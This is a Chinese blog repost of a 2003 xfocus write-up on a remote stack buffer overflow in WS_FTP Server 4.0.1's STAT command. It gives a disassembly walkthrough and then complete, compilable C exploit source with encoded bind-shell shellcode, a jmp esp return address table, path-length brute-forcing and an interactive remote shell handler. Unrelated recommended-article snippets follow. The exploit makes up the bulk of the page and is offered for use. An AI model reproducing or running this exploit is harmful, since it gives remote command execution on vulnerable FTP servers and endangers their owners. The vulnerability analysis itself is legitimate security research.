【实战】WS_FTP FTPD "STAT"命令远程溢出分析

SMB漏洞 目录 一,SMB信息泄露 充电站: 二,MS17-010 (永恒之蓝) 复现 一,SMB信息泄露 靶场:192.168.11.167 攻击机:kali 192.168.11.165 信息探测: nmap -sV 192.168.11.167 可以看到开放了,22 ssh端口,139,445的smb服务端口,以及3306的mysal服务 扫描更详细的信息: nmap -... 阅读详情

WS_FTP FTPD "STAT"命令远程溢出分析


创建时间:2003-10-22
文章属性:原创
文章提交: eyas (eyas_at_xfocus.org)

WS_FTP FTPD "STAT"命令远程溢出分析

Author   : eyas<eyas@xfocus.org>
Created  : 2003-10-08
Updated  : 2003-10-22


    开始我并不知道2003-09-04在 http://www.securityfocus.com/bid/8542就公布
了这个漏洞,上面写的发现者是pejman。我是10月份的时候从Dvdman@l33tsecurity.com
处得知这个漏洞的信息的,可能是dvdman也独立发现了这个漏洞吧。

    以下分析基于WS_FTP Server 4.0.1.EVAL (47156314)版本,只分析“STAT”命令溢出
的情况。

    事实上,WS_FTP在处理STAT命令时,很多地方都有长度判断,但是,有一个地方他遗漏了,
那么,我们的机会就来了。:)

    漏洞函数引用关系如下:

loc_41200D <- [0]
    |_ sub_41B523
        |_ sub_424BC1
            |_ lstrlenA <- [1]
            |_ sub_424DD8
                |_ sub_42D75F
                    |_ lstrcpyA <- [2]

[0]判断是否"STAT"命令
.text:0041200D loc_41200D:                            
.text:0041200D                 push    offset aStat_0
.text:00412012                 mov     ecx, [ebp+8]
.text:00412015                 push    ecx
.text:00412016                 call    __strcmpi
.text:0041201B                 add     esp, 8
.text:0041201E                 test    eax, eax
.text:00412020                 jnz     short loc_41202F
.text:00412022                 mov     ecx, [ebp-4]
.text:00412025                 call    sub_41B523
.text:0041202A                 jmp     loc_412775

[1]长度判断,file full path name 长度不能超过0x200
.text:00424D4A                 mov     eax, [ebp+lpString2] ; our_buff
.text:00424D4D                 push    eax             ; lpString
.text:00424D4E                 call    ds:lstrlenA
.text:00424D54                 mov     ecx, [ebp+var_8] ; get path len
.text:00424D57                 add     ecx, eax        ; get total len
.text:00424D59                 mov     [ebp+var_8], ecx
.text:00424D5C                 mov     edx, [ebp+var_8]
//total len compare with 0x200
.text:00424D5F                 cmp     edx, [ebp+arg_10] ;
.text:00424D62                 jle     short loc_424D69 //<- need jmp
.text:00424D64                 mov     eax, [ebp+var_4]
.text:00424D67                 jmp     short loc_424DD2  //<- exit!

[2]file full path name copy to stack buffer,overflow!!
.text:0042D7C3                 mov     eax, [ebp+8]  //<- file full path name
.text:0042D7C6                 push    eax             ; lpString2
.text:0042D7C7                 lea     ecx, [ebp-0x118]
.text:0042D7CD                 push    ecx             ; lpString1
.text:0042D7CE                 call    ds:lstrcpyA
......
.text:0042DD9B                 retn    8


    看起来是个简单的堆栈溢出,但利用起来挺麻烦的。因为:

    1)我们不知道路径长度,所以不能准确的覆盖函数返回地址。
    2)BUFF长度最大只能有0x200(包括路径),溢出点在0x118,不管是前面和后面,
存放sc的空间都不大,放个得到cmd shell的sc是不够的。除非搞个tiny的shellcode。

    这个有点象IIS WEBDAV溢出的利用,不过这比WEBDAV简单得多。

    其实我们可以利用长度判断的限制,准确的猜测到路径的长度,并且猜测过程中不会把
ws_ftp搞当掉,而且在猜中的同时准确的把jmp esp的地址覆盖在函数的返回地址上。

    如何猜测路径长度我就不罗嗦了,可以参见<<WebDav漏洞简单分析及通用exploit设计>>这篇
文章。

    为什么不覆盖SEH?没错,出现溢出的函数sub_42D75F它自己是建立了异常处理函数,并且我们
可以覆盖到,但是溢出后,sub_42D75F函数在后续操作中、直到它返回也不会触发异常。并且因为
buff长度有限,上级的SEH覆盖不了,所以我们只有覆盖返回地址这条路可走了。
    
    为了写这个exp,还专门修改了一下sc,我们发送的buff结构如下:
                    
                     +------------------------------------------------+
                     |                                                |
    |path|pad1|sc1|jmp 0x2c|nop(0x14)|ret|nop(8)|jmp back(5)|nop(7)|sc2|pad2|
                |                                      |
                +--------------------------------------+                  
    |<--------- 0x118+4 bytes ------>|<------- 0x200-1-0x118-4 bytes ------>|

1) path不是我们发送的。
2) 函数ret的时候是retn 8,所以要有nop(8)。
3) 溢出后,函数有两个变量会被改变,所以要有nop(0x14)来跳过。
4) nop(7) for what? I don't tell you. ^_^

That's ALL!
如果有错误的地方请斧正,如果你有更好的idea,与我分享?谢谢!


/* x-ws_ftp.c - x86/win32 WS_FTP FTPD "STAT" command remote
*  stack buffer overflow exploit
*
* (C) COPYRIGHT XFOCUS Security Team, 2003
* All Rights Reserved
*
* -----------------------------------------------------------------------
* Author   : eyas <eyas@xfocus.org>
*          : http://www.xfocus.org
* Maintain : XFOCUS Security Team <security@xfocus.org>
* Version  : 1.0
*
* Test     : Windows 2000 server EN
*                + WS_FTP Server 4.0.1.EVAL (46006050)
* Notes    : This vul discover by Dvdman@l33tsecurity.com!
             To exploit this vul, you must have a account can login into ws_ftp.
* Greets   : dvdman and all member of XFOCUS Security Team.
* Complie  : cl x-ws_ftp.c
* Usage       : x-ws_ftp.exe <-i ip> <-t type> <-u user> <-p pass> [-l pathlen] [-P port]
*             [type]
*             0       win2k sp4 user32.dll
*
*             Add more targets's jmp esp addr by yourself,
*             and then pls email a copy to me, thanks. :)
*
* Date     : 2003-10-08
* Revised  :
*
* Revise History:
*
* ------- start rip from dvdman's exp -----------------
* VULN VERSIONS: <= X2 WS_FTP Server 4.0.1 (1323562169)
* VULN COMMANDS: APPE,STOR,STAT,RMD,RNFR,RNTO,AND MORE
* -------- rip end ------------------------------------
*/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32")

#define    maxlen                (0x200-1)//能够触发溢出的最大长度
#define    overpoint            (0x118+4)//溢出点
#define    sc_jmp_addr_offset    (0xa4+22)//sc中存放jmp addr的offset
#define    mini_path            0xf//最短路径

#define    ERR_EXP_OK            0
#define    ERR_EXP_CONNECT        -1
#define    ERR_EXP_FAILED        1

#define    version        "1.0"
//modify it by yourself
struct
{
    DWORD    dwJMP;
    char    *szDescription;
}targets[] =
{
    {0x77E14C29, "win2k sp4 user32.dll"},
},v;


//total = 366 (0x16E) bytes (xor with 0x93)
unsigned char sc_bind_1981[]=
//decoder 22 bytes ->动态定位需解码sc地址
"/xEB/x0F/x5B/x80/x33/x93/x43/x81/x3B/x45/x59/x34/x53/x75/xF4/x74"
"/x05/xE8/xEC/xFF/xFF/xFF"
//sc_bind_1981 for 2k/xp/2003 by ey4s
//speacial version for ws_ftp base on v1.03.10.07
//XOR with 0x93 (367 0x16F bytes)
"/x12/x7F/x93/x91/x93/x93/x7A/xA4/x92/x93/x93/xCC/xF7/x32/xA3/x93"
"/x93/x93/x18/xD3/x9F/x18/xE3/x8F/x3E/x18/xFB/x9B/xF9/x97/xCA/x7B"
"/x4A/x93/x93/x93/x71/x6A/xFB/xA0/xA1/x93/x93/xFB/xE4/xE0/xA1/xCC"
"/xC7/x6C/xC4/x6F/x18/x7B/xF9/x95/xCA/x7B/x2C/x93/x93/x93/x71/x6A"
"/x12/x7F/x03/x92/x93/x93/xC7/xFB/x91/x91/x93/x93/x6C/xC4/x7B/xC3"
"/xC3/xC3/xC3/xF9/x92/xF9/x91/x6C/xC4/x63/x18/x4B/x18/x7F/x54/xD6"
"/x93/x91/x93/x94/x2E/xA0/x53/x1A/xD6/x97/xF9/x83/xC6/xC0/x6C/xC4"
"/x67/xC0/xF9/x92/xC0/x6C/xC4/x6B/xC3/xC3/xC0/x6C/xC4/x6F/xC3/x10"
"/x7F/xCB/x18/x67/xA0/x48/xF9/x83/xCA/x1A/x8F/x1D/x71/x68/x78/xBF"
"/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3"
"/xD3/xD3/xD3/xD3/x03/x03/x03/x03/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3"
"/xE9/x35/xFF/xFF/xFF/xD3/xD3/xD3/xD3/xD3/xD3/xD3/x1A/xD5/xAB/x1A"
"/xD5/xAF/x1A/xD5/xD3/x54/xD5/xBF/x92/x92/x93/x93/x1E/xD5/xD7/xC3"
"/xC5/xC0/xC0/xC0/xF9/x92/xC0/xC0/x1E/xD5/xC7/x54/x93/xF0/xFE/xF7"
"/x93/xC3/xC0/x6C/xC4/x73/xA0/x53/xDB/xC3/x6C/xE5/xD7/x6C/xC4/x4F"
"/x10/x57/xCB/x6C/xC4/x7F/x6C/xC4/x7F/xC3/x6C/xC4/x4B/xC2/x18/xE6"
"/xAF/x18/xE7/xBD/xEB/x90/x66/xC5/x18/xE5/xB3/x90/x66/xA0/x5A/xDA"
"/xD2/x3E/x90/x56/xA0/x48/xA0/x41/x9C/x2D/x83/xA9/x45/xE7/x9B/x52"
"/x58/x88/x90/x49/xD3/x78/x7C/xA8/x8C/xE6/x76/xCD/x18/xCD/xB7/x90"
"/x4E/xF5/x18/x9F/xD8/x18/xCD/x8F/x90/x4E/x18/x97/x18/x90/x56/x38"
"/xCA/x50/x7B/x57/x6D/x6C/x6C/x7A/x28/x50/x3D/x27/xEE/x86/x0B/x58"
"/xD1/xE4/x2B/x4F/x4E/x89/xA0/xBE/x87/xC5/x3D/x55/xB8/x2E/xBD/x4D"
"/xC4/xE1/x37/xB7/x21/xA1/x93/x9D/xCE/x58/x4D/xE7/xB1/xF0/x5B"
//decode end sign
"/x45/x59/x34/x53";

unsigned char *szSend[3];
unsigned char szSTAT[0x1000];
int        iType;
int        iPort=21;
char    *ip=NULL, *pUser=NULL, *pPass=NULL;
char    user[128],pass[128];

void shell (int sock);
void usage(char *p);
int    SendExploit(int iPathLen);
void main(int argc, char **argv)
{
    int        i, iPathLen=0, ret;

    printf( "WS_FTP FTPD remote stack buffer overflow exp v%s/n"
            "This version can exploit WS_FTP Server 4.0.1.EVAL/n"
            "Vul discover by Dvdman@l33tsecurity.com/n"
            "Code by eyas@xfocus.org/n"
            " http://www.xfocus.net/n"
            "Create: 2003-10-08/n", version);

    if(argc < 9)
    {
        usage(argv[0]);
        return;
    }

    for(i=1;i<argc;i+=2)
    {
        if(strlen(argv[i]) != 2)
        {
            usage(argv[0]);
            return;
        }
        //检查是否缺少参数
        if(i == argc-1)
        {
            usage(argv[0]);
            return;
        }
        switch(argv[i][1])
        {
            case 'i':
                ip=argv[i+1];
                break;
            case 't':
                iType = atoi(argv[i+1]);
                break;
            case 'P':
                iPort=atoi(argv[i+1]);
                break;
            case 'p':
                pPass = argv[i+1];
                break;
            case 'u':
                pUser=argv[i+1];
                break;
            case 'l':
                iPathLen=atoi(argv[i+1]);
                break;
        }
    }

    if((!ip) || (!user) || (!pass))
    {
        usage(argv[0]);
        printf("[-] Invalid parameter./n");
        return;
    }
    if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
    {
        usage(argv[0]);
        printf("[-] Invalid type./n");
        return;
    }

    if( (iPathLen>0) && (iPathLen<mini_path) )
    {
        printf("[-] Hey, guy, mini path is %d./n", mini_path);
        return;
    }
    
    _snprintf(user, sizeof(user)-1, "USER %s/r/n", pUser);
    user[sizeof(user)-1]='/0';
    _snprintf(pass, sizeof(pass)-1, "PASS %s/r/n", pPass);
    pass[sizeof(pass)-1]='/0';
    szSend[0] = user;//user
    szSend[1] = pass;//pass
    szSend[2] = szSTAT;

    if(iPathLen)
        SendExploit(iPathLen);
    else
    {
        for(i=mini_path;;i++)
        {
            ret = SendExploit(i);
            switch(ret)
            {
            case ERR_EXP_FAILED:
                break;
            case ERR_EXP_CONNECT:
            case ERR_EXP_OK:
                return;
                break;
            }
        }
    }
    return;
}
/* ripped from TESO code and modifed by ey4s for win32 */
void shell (int sock)
{
    int     l;
    char    buf[512];
    struct    timeval time;
    unsigned long    ul[2];

    time.tv_sec = 1;
    time.tv_usec = 0;

    while (1)
    {
        ul[0] = 1;
        ul[1] = sock;

        l = select (0, (fd_set *)&ul, NULL, NULL, &time);
        if(l == 1)
        {
            l = recv (sock, buf, sizeof (buf), 0);
            if (l <= 0)
            {
                printf ("[-] Connection closed./n");
                return;
            }
            l = write (1, buf, l);
            if (l <= 0)
            {
                printf ("[-] Connection closed./n");
                return;
            }
        }
        else
        {
            l = read (0, buf, sizeof (buf));
            if (l <= 0)
            {
                printf("[-] Connection closed./n");
                return;
            }
            l = send(sock, buf, l, 0);
            if (l <= 0)
            {
                printf("[-] Connection closed./n");
                return;
            }
        }
    }
}
void usage(char *p)
{
    int    i;
    printf( "Usage: %s <-i ip> <-t type> <-u user> <-p pass> [-l pathlen] [-P port]/n"
            "[type]/n", p);
    for(i=0;i<sizeof(targets)/sizeof(v);i++)
    {
        printf("%d/t%s/n", i, targets[i].szDescription);
    }
}
int    SendExploit(int iPathLen)
{
    struct sockaddr_in sa, server;
    WSADATA    wsd;
    SOCKET    s,s2;
    int        i,iErr, ret, pad1,pad2;
    char    szRecvBuff[0x1000];
    int        retcode = ERR_EXP_CONNECT;

    printf("/n[+] -=-= Try type %d, path %d. -=-=/n", iType, iPathLen);

    memcpy(&sc_bind_1981[sc_jmp_addr_offset], &targets[iType].dwJMP, 4);
    
    memset(szSTAT, 0, sizeof(szSTAT));
    strcpy(szSTAT, "STAT ");
    //计算第一部分填充多少字节
    //如果path估算小了,那么buff就会超过0x200,就不会溢出了:)
    pad1 = overpoint - sc_jmp_addr_offset - iPathLen;
    if(pad1<0)
    {
        printf( "[-] You can't try any more, path reach the max vaule./n"
                "    If you want to try longer path, change the sc by
yourself./n");
        exit(1);
    }
    for(i=0;i<pad1;i++)
        strcat(szSTAT, "a");
    strcat(szSTAT, sc_bind_1981);
    //计算后面要填充多少字节
    pad2 = maxlen - overpoint;
    //减去已经填充的
    pad2 -= (sizeof(sc_bind_1981)-1-sc_jmp_addr_offset);
    if(pad2<0)
    {
        printf("[-] shellcode too long./n");
        exit(1);
    }
    for(i=0;i<pad2;i++)
        strcat(szSTAT, "b");
    strcat(szSTAT, "/r/n");
    if(strlen(szSTAT) >= sizeof(szSTAT))
    {
        printf("[-] stack buffer overflow./n");
        exit(1);
    }
    __try
    {
        if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
        {
            printf("[-] WSAStartup error:%d/n", WSAGetLastError());
            __leave;
        }

        s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(s == INVALID_SOCKET)
        {
            printf("[-] Create socket failed:%d",GetLastError());
            __leave;
        }

        sa.sin_family=AF_INET;
        sa.sin_port=htons(iPort);
        sa.sin_addr.S_un.S_addr=inet_addr(ip);

        iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
        if(iErr == SOCKET_ERROR)
        {
            printf("[-] connect to target:21 error:%d/n", GetLastError());
            __leave;
        }
        printf("[+] connect to %s:%d success./n", ip, iPort);
        Sleep(1000);
        for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
        {
            memset(szRecvBuff, 0, sizeof(szRecvBuff));
            iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
            if(iErr == SOCKET_ERROR)
            {
                printf("[-] recv buffer error:%d./n", WSAGetLastError());
                __leave;
            }
            printf("[+] Recv: %s", szRecvBuff);
            iErr = send(s, szSend[i], strlen(szSend[i]),0);
            if(iErr == SOCKET_ERROR)
            {
                printf("[-] send buffer error:%d./n", WSAGetLastError());
                __leave;
            }
            if(i==sizeof(szSend)/sizeof(szSend[0])-1)
                printf("[+] Send shellcode %d(0x%X) bytes./n", iErr, iErr);
            else
                printf("[+] Send: %s", szSend[i]);
            Sleep(100);
        }        
        printf("[+] Wait from shell./n");
        Sleep(2000);
        s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
        server.sin_family = AF_INET;
        server.sin_port = htons(1981);
        server.sin_addr.s_addr=inet_addr(ip);
        ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
        if(ret!=0)
        {
            printf("[-] Exploit seem failed./n");
            retcode = ERR_EXP_FAILED;
            __leave;
        }
        printf("[+] Exploit success! Have fun! :)/n");
        shell(s2);
        retcode = ERR_EXP_OK;
    }
    __finally
    {
        if(s != INVALID_SOCKET) closesocket(s);
        if(s2 != INVALID_SOCKET) closesocket(s);
        WSACleanup();
    }
    return    retcode;
}
SMB信息泄露的利用 SMB的协议出现较早,应用较广泛,但是早期计算机协议注重应用的快速建立,而对安全的要求并不太严格,所以很多较老的设备使用了存在漏洞的SMB协议,就会存在安全隐患。我们在SMB漏洞的利用中,主要还是基于msf提供的一些payload,这些payload其实都是别人做好了的,所以用起来特别方便,也从另一个方面反映如果有人要攻击利用SMB漏洞其实也很方便,所以我们在计算机安全防护上还需进行更多的考虑,必要的安全设置应该保留,不要为了一时方便,关闭所有安全防护的护盾。 阅读详情

相关推荐

【漏洞复现】永恒之蓝 MS17-010 远程溢出漏洞(CVE-2017-0143)

文章目录声明前言一、漏洞原理简述二、漏洞代码深层解析三、实验步骤四、漏洞补丁总结 声明 本篇文章仅用于技术研究与技术学习,切勿用于非授权下攻击行为,切记! 前言 Windows7 存在 MS17-010 永恒之蓝(远程溢出漏洞) ,该漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码 一、漏洞原理简述 MS17-010漏洞出现在Windows SMB v1中的内核态函数 srv!SrvOs2FeaListToNt 在处理FEA(File Ex

李同學AI安全 9629

ftp服务器wu-ftpd配置详解

一、选择和安装FTP服务器软件 如果你在安装LINUX系统的时候,在选择启动进程的时候选择了“ftpd”这一项的话,安装完LINUX系统后,它已经将一个默认的FTP服务器安装到系统中去了。我们已经可以利用它来实现系统FTP服务器的功能了。我们只需在此基础上根据我们的需要进行一些个性化设定就可以了。 在绝大多数的LINUX发行版本中都选用的是WashingtonUniversity FTP,

寻找甘当科学家的女人/男人 4148

Xilinx FPGA 10G Ethernet Subsystem example

The 10G Ethernet subsystem provides 10 Gb/s Ethernet MAC, Physical Coding Sublayer(PCS) and Physical Medium Attachment (PMA) transmit and receive functionality over anAXI4-Stream interface.

青城扬沙的博客 2383

vsftpd详解

FTP服务是Client/Server(简称C/S)模式,基于FTP协议实现FTP文件对外共享及传输的软件称之为FTP服务器源端,客户端程序基于FTP协议,则称之为FTP客户端,FTP客户端可以向FTP服务器上传、下载文件。客户端开启一个端口N(>1023)向服务端的21端口,建立连接,同时开启一个N+1,告诉服务端N+1端口,服务端接到请求之后,用20端口连接到客户端的N+1端口,进行传输;访问的时候就会直接访问到服务端/home/zhangsan目录下,这里需要注意一下;FTP端口——21/TCP。

2401_86534769的博客 5169

从INCA到Excel:手把手教你移植汽车标定数据的查表插值算法(附源码)

本文详细介绍了如何将汽车标定数据从INCA平台移植到Excel,实现查表插值算法的完整迁移。通过解析INCA MAP数据结构,设计Excel环境下的双线性插值算法,并提供VBA和C#两种实现方案,帮助工程师高效处理标定数据。文章包含实用代码示例和性能优化技巧,适用于ECU开发与标定场景。

weixin_29313239的博客 412

逆向解析喜马拉雅新版xm-sign算法:从dws.1.6.8.js到签名生成

本文详细解析了喜马拉雅新版xm-sign算法的逆向破解方法。通过定位核心JS文件dws.1.6.8.js,构建本地Node.js模拟执行环境,并解密关键参数cid与appKey,最终实现签名算法的本地化稳定生成,为数据采集提供可靠解决方案。

weixin_29250403的博客 214

风险类型说明和处理建议手册

.1 Web攻击 风险描述: 主要是指常见的Web类型攻击,包括SQL注入、命令注入、代码注入、跨站脚本攻击、协议错误等,一般是由攻击人员尝试构造特殊的SQL语句、系统命令、脚本、java代码等,发送请求,来触发WEB服务器上未经发现的,或者未经修复的漏洞,然后利用这些漏洞,进行恶意行为:获取敏感数据,执行数据库操作、操作系统命令/程序代码等。 处理建议 1、首先需确认攻击源和目标主机所处网络位置,对于内网向外发起的攻击行为,建议通过对源主机进行访问限制阻止攻击行为,并检查该内部主机是否有其他

tigerman20201的博客 1538

智能问数系统的完整技术栈与实现逻辑

提取并增强数据库 Schema(含业务语义)选择 LLM(开源 qwen2 / 商业 GPT-4o)构建 RAG 向量库(存储历史问法)实现 SQL 安全校验与权限控制添加结果自然语言解释 + 可视化部署到只读数据库环境🔑核心原则“先保证安全,再追求智能”—— 一个能生成错误 SQL 的智能问数系统,比没有更危险。

我们的征途是星辰大海 1641

(P28)miniftpd项目实战28:HELP命令,STAT命令,SITE命令

文章目录1.HELP命令2.STAT命令3.SITE命令 1.HELP命令 使用vsftpd测试 输入ctrl r 得到的应答如下: eg:miniftpd28\ftpproto.c static void do_help(session_t *sess) 测试:以root用户启动ftp服务器 输入ctrl r,HELP 2.STAT命令 查看服务器的状态 eg:miniftpd28\ftpproto.c static void do_stat(session_t *

喜欢打篮球的普通人 614

从 0 到 1 构建 Graph RAG 系统:本地图谱 + 通义千问落地实践

本文介绍了一个基于知识图谱的检索增强生成系统(Graph RAG),该系统结合领域知识图谱、语义检索和大模型问答,旨在提供结构化、精准的技术问答服务。文章详细说明了项目背景、目标、核心技术架构以及实现方法,包括本地图谱构建、Neo4j数据库接入、语义检索和大模型集成等关键环节。该系统支持混合检索、多轮问答和知识图谱关联理解,能够有效减少大模型幻觉,提升问答的准确性和可解释性。文中还展示了核心代码结构和流程图,呈现了从文档加载到图谱构建再到问答生成的完整流程。该系统适用于需要处理复杂领域知识的研发和数据分析场

m0_58378112的博客 1404

MMI分束器仿真优化:用Lumerical FDTD实现95%耦合效率的实战技巧

本文详细介绍了使用Lumerical FDTD软件对MMI分束器进行仿真优化的实战技巧。通过构建高保真模型、精确配置光源与边界条件,并重点优化波导结构与taper设计,系统性地将器件的耦合效率提升至95%以上。文章还分享了利用参数扫描、varFDTD加速等高级方法,帮助硅光芯片设计工程师高效实现高性能MMI分束器设计。

rainy的博客 778

网安学习日记-MS08-067远程溢出漏洞学习(CVE-2008-4250)

MS08-067远程代码执行漏洞详细利用过程与发现思路

末班车的博客 1060

ctfshow WEB web4

ctfshow WEB web4

weixin_68416970的博客 725

IIS7.5下创建FTP站点

参巧网站:1、http://www.vista123.com/vista/11076.html 2、http://bbs.itiankong.com/thread-194911-1-1.html 步骤: 1、命令提示符下执行 cacls c:\windows\system32\inetsrv\config /G "Network Service":R /E 2、执行 cac

swofmengtian的专栏 5542

操作系统|知识梳理|复习(下)

操作系统复习

知识库搭建ing 1788

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

FTP 协议(指令集)

FTP协议采用一系列简单的协议来完成文件传输的各种任务,在发送命令的时候,总是在命令的最后加上一个回车换行符,在VB中可以用“vbcrlf”来实现,vc中以“/r/n”表示。以下的命令是从Postel和Reynolds所著的RFC 929修改而来,如果读者想查看详细内容,可以参见英文版RFC 929。注意以下出现地标志符CRLF表示的是回车符号,即相当于VC中的“/r/n”。 1.  ABOT(

flags_s的博客 2884

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

ftp命令大全详解

在服务器端,FTP有两个预分配的的端口号,分别为20和21.其中,端口20用于发送和接受FTP数据(ASCII码或二进制文件),该数据端口只在传输数据是打开,并在传输结束时关闭。39.nmap[inpattern outpattern]:设置文件名映射机制,使得文件传输时,文件中的某些字符相互转换,如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。比如,在 /usr/my下运行的ftp命令,则文件都下载到了/usr/my下。

a1058926697的博客 7万+

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

网络安全 之 FTP,溢出攻击

反正不管什么,首先就要全部扫描 searchspolit,这个工具储存了所有软件不同版本的漏洞。。。 matasolit,远程溢出工具

HeroIsUseless的博客 1292

FTP命令与应答

ftp命令与ftp的应答格式

qq_43560037的博客 2291

FTP--文件传输协议(FileTransferProtocol,FTP)

1. 介绍 FTP的目标是提高文件的共享性,提供非直接使用远程计算机,使存储介质对用户透明和可靠高效地传送数据。虽然我们也可以手工使用它,但是它的主要作用是供程序使用的。在阅读本文之前最好能够阅读TCP协议标准规范和Telnet协议标准规范。 2. 概览 在本节中我们将讨论一些表面上的问题,有些名词的定义请参阅TCP和Telnet参考文献。我...

tuyerv的博客 471

docker入门基础(八)

目录 十、 Docker Swarm 1、几个概念 2、swarm 集群 3、运行第一个 Service 4、实现 Service 伸缩 5、实现 Failover 6、内部访问 Service 7、外部访问service ...

weixin_30840573的博客 849

Ipswitch WS_FTP客户端格式串及缓冲区漏洞

WS_FTP是一个Winsock协议下标准的FTP服务器客户端套件。WS_FTP客户端在处理FTP服务器所返回的恶意响应时存在多个安全漏洞,如果用户受骗连接到了恶意的FTP服务器的话,超长响应可以触发缓冲区溢出或格式串漏洞,导致执行任意指令。 发布日期:2008-08-17 更新日期:2008-08-20 受影响系统: Ipswitch WS_FTP Professional 20...

weixin_30481087的博客 317

1、Python 基础知识总结

总结下python学习的内容,最简单的入门知识点梳理:下载安装使用、数据结构、流程控制语句、函数概念、异常处理、读写文件、模块等。

小确幸的博客 5122

FTP命令详解(含操作实例)

以下是微软命令行FTP客户端命令大全,如果你想使用“未加工(RAW)”FTP命令而非下面翻译过的请参考:http://www.nsftools.com/tips/RawFTP.htm   操作实例环境: 主机(FTP客户端):192.168.65.1  window 7  64bit 远程FTP服务器:192.168.65.131   redhat 5   vsftp   账号:dyl

老徐的博客只有干货 17万+

vsftpd的安装和使用

目录 1、vsftpd的简介... 2 2、特点... 2 3、安装... 2 4、创建虚拟用户... 2 5、vsftpd服务器的配置... 4 6、vsftpd配置文件说明... 7 7、防火墙的配置... 8 8、vsftpd的验证... 9 9、vsftpd的常用命令... 10 10、反复需要验证ftp身份问题解决... 10 1、vsftpd的简介 vsftpd...

Aaron_Run的博客 8万+

vsftpd的使用

简介vsftpd是 “very secure FTP deamon”的缩写,是一个完全免费,开源的ftp服务器软件。特点小巧轻快,安全易用,支持虚拟用户、支持带宽限制等功能。安装执行 yum -y install vsftpd注:在安装前需提前确认是否已经安装了vsftpd 命令如下:rpm -qa|grep vsftpd另外,默认的配置文件路径为: /etc/vsftpd/vsftpd.conf...

一步一阶梯 3万+
上一篇: 【分析】一种新的File Stream Overflows(FSO)
下一篇: 【分析】RPC文件名长度堆溢出分析及其通用性堆溢出攻击的一些发现
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值